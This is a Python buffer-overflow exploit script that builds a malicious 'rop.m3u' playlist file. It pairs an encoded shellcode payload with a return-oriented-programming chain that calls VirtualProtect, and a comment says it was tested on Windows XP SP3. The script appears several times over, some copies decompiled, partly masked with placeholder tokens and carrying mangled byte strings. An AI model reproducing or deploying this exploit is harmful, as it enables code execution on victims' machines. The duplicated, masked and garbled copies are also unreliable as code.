import sys,struct



#this exploit was tested on windows XP sp3--all addressess are referenced from that machine
filename="rop.m3u"

#put address of RETN = 100308BF   C3               RETN which will be random address gathered from rop.txt
#VirtualProtect is located at 0x7c801ad4 in kernel32.dll

#000FFD58 ---shellcode start address

#---1st parameter for virtual_protect-------------------
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN   
#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
#0x763C982F :  # XCHG ESI,EDI # DEC ECX # RETN 4   [Module : comdlg32.dll] 



buf=""
buf += "\x89\xe3\xd9\xea\xd9\x73\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x6d\x38\x4b"
buf += "\x32\x77\x70\x35\x50\x63\x30\x61\x70\x4d\x59\x4b\x55"
buf += "\x34\x71\x69\x50\x50\x64\x4e\x6b\x42\x70\x70\x30\x4c"
buf += "\x4b\x62\x72\x36\x6c\x4c\x4b\x53\x62\x37\x64\x4c\x4b"
buf += "\x64\x32\x67\x58\x76\x6f\x78\x37\x32\x6a\x65\x76\x74"
buf += "\x71\x69\x6f\x6e\x4c\x67\x4c\x45\x31\x63\x4c\x44\x42"
buf += "\x56\x4c\x61\x30\x6b\x71\x7a\x6f\x76\x6d\x56\x61\x38"
buf += "\x47\x78\x62\x5a\x52\x62\x72\x62\x77\x6c\x4b\x61\x42"
buf += "\x34\x50\x6c\x4b\x52\x6a\x55\x6c\x4c\x4b\x30\x4c\x54"
buf += "\x51\x50\x78\x59\x73\x71\x58\x67\x71\x78\x51\x46\x31"
buf += "\x6e\x6b\x30\x59\x51\x30\x53\x31\x4e\x33\x6e\x6b\x32"
buf += "\x69\x76\x78\x78\x63\x76\x5a\x72\x69\x4c\x4b\x30\x34"
buf += "\x4c\x4b\x77\x71\x6a\x76\x56\x51\x6b\x4f\x6c\x6c\x4b"
buf += "\x71\x38\x4f\x36\x6d\x46\x61\x69\x57\x67\x48\x49\x70"
buf += "\x73\x45\x6b\x46\x66\x63\x71\x6d\x6b\x48\x47\x4b\x53"
buf += "\x4d\x71\x34\x43\x45\x48\x64\x30\x58\x6c\x4b\x72\x78"
buf += "\x71\x34\x46\x61\x4a\x73\x33\x56\x6e\x6b\x36\x6c\x70"
buf += "\x4b\x4c\x4b\x63\x68\x65\x4c\x66\x61\x5a\x73\x4e\x6b"
buf += "\x74\x44\x4c\x4b\x66\x61\x7a\x70\x6c\x49\x47\x34\x67"
buf += "\x54\x37\x54\x71\x4b\x53\x6b\x63\x51\x71\x49\x61\x4a"
buf += "\x53\x61\x49\x6f\x39\x70\x31\x4f\x53\x6f\x43\x6a\x4e"
buf += "\x6b\x46\x72\x7a\x4b\x4e\x6d\x53\x6d\x61\x7a\x56\x61"
buf += "\x4e\x6d\x6d\x55\x6e\x52\x55\x50\x67\x70\x57\x70\x50"
buf += "\x50\x71\x78\x34\x71\x6e\x6b\x70\x6f\x4f\x77\x39\x6f"
buf += "\x6b\x65\x6f\x4b\x58\x70\x6e\x55\x39\x32\x63\x66\x70"
buf += "\x68\x39\x36\x6c\x55\x6f\x4d\x6d\x4d\x59\x6f\x78\x55"
buf += "\x77\x4c\x66\x66\x61\x6c\x65\x5a\x4f\x70\x49\x6b\x49"
buf += "\x70\x31\x65\x45\x55\x4f\x4b\x57\x37\x56\x73\x42\x52"
buf += "\x30\x6f\x53\x5a\x77\x70\x36\x33\x79\x6f\x4e\x35\x51"
buf += "\x73\x73\x51\x30\x6c\x42\x43\x74\x6e\x55\x35\x44\x38"
buf += "\x50\x65\x73\x30\x41\x41"


buffer="A"*26047
eip_retn="\xbf\x08\x03\x10" #return address RETN (random) from rop.txt
rop = struct.pack('<L',0x5AD79277) #PUSH ESP, POP EDI
rop+= struct.pack('<L',0x77C1E842) #PUSH EDI, POP EAX
rop+="AAAA"
rop+= struct.pack('<L',0x1001653D) #ADD ESP,20

params=struct.pack('<L',0x7c801ad4)
params+= "XXXX"
params+="YYYY"
params+="ZZZZ"
params+="UUUU"
params+=struct.pack('<L',0x10035005)

rop2="\x90"*8

#1st exchange ESI register address with EDI register 
#0x763C982F :  # XCHG ESI,EDI # DEC ECX # RETN 4   [Module : comdlg32.dll] 
rop2+=struct.pack('<L',0x763C982F)
#adjust value of EAX to point to shellcode
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN 
rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"
rop2+="AAAA"
#put the address of EAX as value to the (ESI+10) register addresss
#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#arrange for 2nd paramater
#put EAX value is ESI to be used for MOV operation
#0x775D131E :  # PUSH EAX # POP ESI # RETN   [Module : ole32.dll] 
rop2+=struct.pack('<L',0x775D131E)

#adjust value of EAX to point to shellcode
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN 
rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

#Increase value of ESI 4times to point to 2nd parmater address space
#0x77157D1D :  # INC ESI # RETN   [Module : OLEAUT32.dll] 
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)


##0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#---third parameter
# put EAX value in ESI
#0x775D131E;  # PUSH EAX # POP ESI # RETN 
rop2+=struct.pack('<L',0x775D131E)

#0x100307A9;  # XOR EAX,EAX # RETN
rop2+=struct.pack('<L',0x100307A9)


#adjust value of EAX to value 300
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN 
rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

#Increase value of ESI 4times to point to 3rd parmater address space
#0x77157D1D :  # INC ESI # RETN   [Module : OLEAUT32.dll] 
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)

#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#----fourth parameter----
# put EAX value in ESI
#0x775D131E;  # PUSH EAX # POP ESI # RETN 
rop2+=struct.pack('<L',0x775D131E)

#0x100307A9;  # XOR EAX,EAX # RETN
rop2+=struct.pack('<L',0x100307A9)


#0x1002dc41 :  # ADD EAX,40 # POP EBP # RETN    ** [MSRMfilter03.dll] ** 
rop2+=struct.pack('<L',0x1002dc41)
rop2+="AAAA"

#Increase value of ESI 4times to point to 4th parmater address space
#0x77157D1D :  # INC ESI # RETN   [Module : OLEAUT32.dll] 
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)



#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#0x775D12F1  #SUB EAX,4 # RET
rop2+=struct.pack('<L',0x775D12F1)


#0x775D12F1  #SUB EAX,4 # RET
rop2+=struct.pack('<L',0x775D12F1)

#0x73DF5CA8 # PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN   [Module : MFC42.DLL] 
rop2+=struct.pack('<L',0x73DF5CA8)


compensate_bytes="AAAA"
nops="\x90"*300

exploit=buffer+eip_retn+compensate_bytes+rop+params+rop2+nops+buf
exploit+="C"*(1000)
textfile = open(filename,"w")
textfile.write(exploit)
textfile.close()
b3a1b4f32edb09dc731fdf2b5833136a27a8ad7d
<mask token>

<mask token>
buf += '\x89ãÙêÙsô_WYIII'
buf += 'IIIIIIICCCCCC'
buf += '7QZjAXP0A0AkA'
buf += 'AQ2AB2BB0BBAB'
buf += 'XP8ABuJIkLm8K'
buf += '2wp5Pc0apMYKU'
buf += '4qiPPdNkBpp0L'
buf += 'Kbr6lLKSb7dLK'
buf += 'd2gXvox72jevt'
buf += 'qionLgLE1cLDB'
buf += 'VLa0kqzovmVa8'
buf += 'GxbZRbrbwlKaB'
buf += '4PlKRjUlLK0LT'
buf += 'QPxYsqXgqxQF1'
buf += 'nk0YQ0S1N3nk2'
buf += 'ivxxcvZriLK04'
buf += 'LKwqjvVQkOllK'
buf += 'q8O6mFaiWgHIp'
buf += 'sEkFfcqmkHGKS'
buf += 'Mq4CEHd0XlKrx'
buf += 'q4FaJs3Vnk6lp'
buf += 'KLKcheLfaZsNk'
buf += 'tDLKfazplIG4g'
buf += 'T7TqKSkcQqIaJ'
buf += 'SaIo9p1OSoCjN'
buf += 'kFrzKNmSmazVa'
buf += 'NmmUnRUPgpWpP'
buf += 'Pqx4qnkpoOw9o'
buf += 'keoKXpnU92cfp'
buf += 'h96lUoMmMYoxU'
buf += 'wLffaleZOpIkI'
buf += 'p1eEUOKW7VsBR'
buf += '0oSZwp63yoN5Q'
buf += 'ssQ0lBCtnU5D8'
buf += 'Pes0AA'
<mask token>
rop += struct.pack('<L', 2009196610)
rop += 'AAAA'
rop += struct.pack('<L', 268526909)
<mask token>
params += 'XXXX'
params += 'YYYY'
params += 'ZZZZ'
params += 'UUUU'
params += struct.pack('<L', 268652549)
<mask token>
rop2 += struct.pack('<L', 1983682607)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268634025)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268634025)
rop2 += struct.pack('<L', 268622913)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588401)
rop2 += struct.pack('<L', 2002588401)
rop2 += struct.pack('<L', 1944018088)
<mask token>
exploit += 'C' * 1000
<mask token>
textfile.write(exploit)
textfile.close()

<mask token>
filename = 'rop.m3u'
buf = ''
buf += '\x89ãÙêÙsô_WYIII'
buf += 'IIIIIIICCCCCC'
buf += '7QZjAXP0A0AkA'
buf += 'AQ2AB2BB0BBAB'
buf += 'XP8ABuJIkLm8K'
buf += '2wp5Pc0apMYKU'
buf += '4qiPPdNkBpp0L'
buf += 'Kbr6lLKSb7dLK'
buf += 'd2gXvox72jevt'
buf += 'qionLgLE1cLDB'
buf += 'VLa0kqzovmVa8'
buf += 'GxbZRbrbwlKaB'
buf += '4PlKRjUlLK0LT'
buf += 'QPxYsqXgqxQF1'
buf += 'nk0YQ0S1N3nk2'
buf += 'ivxxcvZriLK04'
buf += 'LKwqjvVQkOllK'
buf += 'q8O6mFaiWgHIp'
buf += 'sEkFfcqmkHGKS'
buf += 'Mq4CEHd0XlKrx'
buf += 'q4FaJs3Vnk6lp'
buf += 'KLKcheLfaZsNk'
buf += 'tDLKfazplIG4g'
buf += 'T7TqKSkcQqIaJ'
buf += 'SaIo9p1OSoCjN'
buf += 'kFrzKNmSmazVa'
buf += 'NmmUnRUPgpWpP'
buf += 'Pqx4qnkpoOw9o'
buf += 'keoKXpnU92cfp'
buf += 'h96lUoMmMYoxU'
buf += 'wLffaleZOpIkI'
buf += 'p1eEUOKW7VsBR'
buf += '0oSZwp63yoN5Q'
buf += 'ssQ0lBCtnU5D8'
buf += 'Pes0AA'
buffer = 'A' * 26047
eip_retn = '¿\x08\x03\x10'
rop = struct.pack('<L', 1524077175)
rop += struct.pack('<L', 2009196610)
rop += 'AAAA'
rop += struct.pack('<L', 268526909)
params = struct.pack('<L', 2088770260)
params += 'XXXX'
params += 'YYYY'
params += 'ZZZZ'
params += 'UUUU'
params += struct.pack('<L', 268652549)
rop2 = '\x90' * 8
rop2 += struct.pack('<L', 1983682607)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268634025)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268634025)
rop2 += struct.pack('<L', 268622913)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588401)
rop2 += struct.pack('<L', 2002588401)
rop2 += struct.pack('<L', 1944018088)
compensate_bytes = 'AAAA'
nops = '\x90' * 300
exploit = (buffer + eip_retn + compensate_bytes + rop + params + rop2 +
    nops + buf)
exploit += 'C' * 1000
textfile = open(filename, 'w')
textfile.write(exploit)
textfile.close()

import sys, struct
filename = 'rop.m3u'
buf = ''
buf += '\x89ãÙêÙsô_WYIII'
buf += 'IIIIIIICCCCCC'
buf += '7QZjAXP0A0AkA'
buf += 'AQ2AB2BB0BBAB'
buf += 'XP8ABuJIkLm8K'
buf += '2wp5Pc0apMYKU'
buf += '4qiPPdNkBpp0L'
buf += 'Kbr6lLKSb7dLK'
buf += 'd2gXvox72jevt'
buf += 'qionLgLE1cLDB'
buf += 'VLa0kqzovmVa8'
buf += 'GxbZRbrbwlKaB'
buf += '4PlKRjUlLK0LT'
buf += 'QPxYsqXgqxQF1'
buf += 'nk0YQ0S1N3nk2'
buf += 'ivxxcvZriLK04'
buf += 'LKwqjvVQkOllK'
buf += 'q8O6mFaiWgHIp'
buf += 'sEkFfcqmkHGKS'
buf += 'Mq4CEHd0XlKrx'
buf += 'q4FaJs3Vnk6lp'
buf += 'KLKcheLfaZsNk'
buf += 'tDLKfazplIG4g'
buf += 'T7TqKSkcQqIaJ'
buf += 'SaIo9p1OSoCjN'
buf += 'kFrzKNmSmazVa'
buf += 'NmmUnRUPgpWpP'
buf += 'Pqx4qnkpoOw9o'
buf += 'keoKXpnU92cfp'
buf += 'h96lUoMmMYoxU'
buf += 'wLffaleZOpIkI'
buf += 'p1eEUOKW7VsBR'
buf += '0oSZwp63yoN5Q'
buf += 'ssQ0lBCtnU5D8'
buf += 'Pes0AA'
buffer = 'A' * 26047
eip_retn = '¿\x08\x03\x10'
rop = struct.pack('<L', 1524077175)
rop += struct.pack('<L', 2009196610)
rop += 'AAAA'
rop += struct.pack('<L', 268526909)
params = struct.pack('<L', 2088770260)
params += 'XXXX'
params += 'YYYY'
params += 'ZZZZ'
params += 'UUUU'
params += struct.pack('<L', 268652549)
rop2 = '\x90' * 8
rop2 += struct.pack('<L', 1983682607)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268634025)
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 268622924)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588446)
rop2 += struct.pack('<L', 268634025)
rop2 += struct.pack('<L', 268622913)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 1997896989)
rop2 += struct.pack('<L', 2011709717)
rop2 += 'AAAA'
rop2 += struct.pack('<L', 2002588401)
rop2 += struct.pack('<L', 2002588401)
rop2 += struct.pack('<L', 1944018088)
compensate_bytes = 'AAAA'
nops = '\x90' * 300
exploit = (buffer + eip_retn + compensate_bytes + rop + params + rop2 +
    nops + buf)
exploit += 'C' * 1000
textfile = open(filename, 'w')
textfile.write(exploit)
textfile.close()

import sys,struct



#this exploit was tested on windows XP sp3--all addressess are referenced from that machine
filename="rop.m3u"

#put address of RETN = 100308BF   C3               RETN which will be random address gathered from rop.txt
#VirtualProtect is located at 0x7c801ad4 in kernel32.dll

#000FFD58 ---shellcode start address

#---1st parameter for virtual_protect-------------------
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN   
#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
#0x763C982F :  # XCHG ESI,EDI # DEC ECX # RETN 4   [Module : comdlg32.dll] 



buf=""
buf += "\x89\xe3\xd9\xea\xd9\x73\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x6d\x38\x4b"
buf += "\x32\x77\x70\x35\x50\x63\x30\x61\x70\x4d\x59\x4b\x55"
buf += "\x34\x71\x69\x50\x50\x64\x4e\x6b\x42\x70\x70\x30\x4c"
buf += "\x4b\x62\x72\x36\x6c\x4c\x4b\x53\x62\x37\x64\x4c\x4b"
buf += "\x64\x32\x67\x58\x76\x6f\x78\x37\x32\x6a\x65\x76\x74"
buf += "\x71\x69\x6f\x6e\x4c\x67\x4c\x45\x31\x63\x4c\x44\x42"
buf += "\x56\x4c\x61\x30\x6b\x71\x7a\x6f\x76\x6d\x56\x61\x38"
buf += "\x47\x78\x62\x5a\x52\x62\x72\x62\x77\x6c\x4b\x61\x42"
buf += "\x34\x50\x6c\x4b\x52\x6a\x55\x6c\x4c\x4b\x30\x4c\x54"
buf += "\x51\x50\x78\x59\x73\x71\x58\x67\x71\x78\x51\x46\x31"
buf += "\x6e\x6b\x30\x59\x51\x30\x53\x31\x4e\x33\x6e\x6b\x32"
buf += "\x69\x76\x78\x78\x63\x76\x5a\x72\x69\x4c\x4b\x30\x34"
buf += "\x4c\x4b\x77\x71\x6a\x76\x56\x51\x6b\x4f\x6c\x6c\x4b"
buf += "\x71\x38\x4f\x36\x6d\x46\x61\x69\x57\x67\x48\x49\x70"
buf += "\x73\x45\x6b\x46\x66\x63\x71\x6d\x6b\x48\x47\x4b\x53"
buf += "\x4d\x71\x34\x43\x45\x48\x64\x30\x58\x6c\x4b\x72\x78"
buf += "\x71\x34\x46\x61\x4a\x73\x33\x56\x6e\x6b\x36\x6c\x70"
buf += "\x4b\x4c\x4b\x63\x68\x65\x4c\x66\x61\x5a\x73\x4e\x6b"
buf += "\x74\x44\x4c\x4b\x66\x61\x7a\x70\x6c\x49\x47\x34\x67"
buf += "\x54\x37\x54\x71\x4b\x53\x6b\x63\x51\x71\x49\x61\x4a"
buf += "\x53\x61\x49\x6f\x39\x70\x31\x4f\x53\x6f\x43\x6a\x4e"
buf += "\x6b\x46\x72\x7a\x4b\x4e\x6d\x53\x6d\x61\x7a\x56\x61"
buf += "\x4e\x6d\x6d\x55\x6e\x52\x55\x50\x67\x70\x57\x70\x50"
buf += "\x50\x71\x78\x34\x71\x6e\x6b\x70\x6f\x4f\x77\x39\x6f"
buf += "\x6b\x65\x6f\x4b\x58\x70\x6e\x55\x39\x32\x63\x66\x70"
buf += "\x68\x39\x36\x6c\x55\x6f\x4d\x6d\x4d\x59\x6f\x78\x55"
buf += "\x77\x4c\x66\x66\x61\x6c\x65\x5a\x4f\x70\x49\x6b\x49"
buf += "\x70\x31\x65\x45\x55\x4f\x4b\x57\x37\x56\x73\x42\x52"
buf += "\x30\x6f\x53\x5a\x77\x70\x36\x33\x79\x6f\x4e\x35\x51"
buf += "\x73\x73\x51\x30\x6c\x42\x43\x74\x6e\x55\x35\x44\x38"
buf += "\x50\x65\x73\x30\x41\x41"


buffer="A"*26047
eip_retn="\xbf\x08\x03\x10" #return address RETN (random) from rop.txt
rop = struct.pack('<L',0x5AD79277) #PUSH ESP, POP EDI
rop+= struct.pack('<L',0x77C1E842) #PUSH EDI, POP EAX
rop+="AAAA"
rop+= struct.pack('<L',0x1001653D) #ADD ESP,20

params=struct.pack('<L',0x7c801ad4)
params+= "XXXX"
params+="YYYY"
params+="ZZZZ"
params+="UUUU"
params+=struct.pack('<L',0x10035005)

rop2="\x90"*8

#1st exchange ESI register address with EDI register 
#0x763C982F :  # XCHG ESI,EDI # DEC ECX # RETN 4   [Module : comdlg32.dll] 
rop2+=struct.pack('<L',0x763C982F)
#adjust value of EAX to point to shellcode
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN 
rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"
rop2+="AAAA"
#put the address of EAX as value to the (ESI+10) register addresss
#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#arrange for 2nd paramater
#put EAX value is ESI to be used for MOV operation
#0x775D131E :  # PUSH EAX # POP ESI # RETN   [Module : ole32.dll] 
rop2+=struct.pack('<L',0x775D131E)

#adjust value of EAX to point to shellcode
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN 
rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

#Increase value of ESI 4times to point to 2nd parmater address space
#0x77157D1D :  # INC ESI # RETN   [Module : OLEAUT32.dll] 
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)


##0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#---third parameter
# put EAX value in ESI
#0x775D131E;  # PUSH EAX # POP ESI # RETN 
rop2+=struct.pack('<L',0x775D131E)

#0x100307A9;  # XOR EAX,EAX # RETN
rop2+=struct.pack('<L',0x100307A9)


#adjust value of EAX to value 300
#0x1002DC4C :  # ADD EAX,100 # POP EBP # RETN 
rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

rop2+=struct.pack('<L',0x1002DC4C)
rop2+="AAAA"

#Increase value of ESI 4times to point to 3rd parmater address space
#0x77157D1D :  # INC ESI # RETN   [Module : OLEAUT32.dll] 
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)

#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#----fourth parameter----
# put EAX value in ESI
#0x775D131E;  # PUSH EAX # POP ESI # RETN 
rop2+=struct.pack('<L',0x775D131E)

#0x100307A9;  # XOR EAX,EAX # RETN
rop2+=struct.pack('<L',0x100307A9)


#0x1002dc41 :  # ADD EAX,40 # POP EBP # RETN    ** [MSRMfilter03.dll] ** 
rop2+=struct.pack('<L',0x1002dc41)
rop2+="AAAA"

#Increase value of ESI 4times to point to 4th parmater address space
#0x77157D1D :  # INC ESI # RETN   [Module : OLEAUT32.dll] 
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)
rop2+=struct.pack('<L',0x77157D1D)



#0x77E84115 :  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module : RPCRT4.dll] 
rop2+=struct.pack('<L',0x77E84115)
rop2+="AAAA"

#0x775D12F1  #SUB EAX,4 # RET
rop2+=struct.pack('<L',0x775D12F1)


#0x775D12F1  #SUB EAX,4 # RET
rop2+=struct.pack('<L',0x775D12F1)

#0x73DF5CA8 # PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN   [Module : MFC42.DLL] 
rop2+=struct.pack('<L',0x73DF5CA8)


compensate_bytes="AAAA"
nops="\x90"*300

exploit=buffer+eip_retn+compensate_bytes+rop+params+rop2+nops+buf
exploit+="C"*(1000)
textfile = open(filename,"w")
textfile.write(exploit)
textfile.close()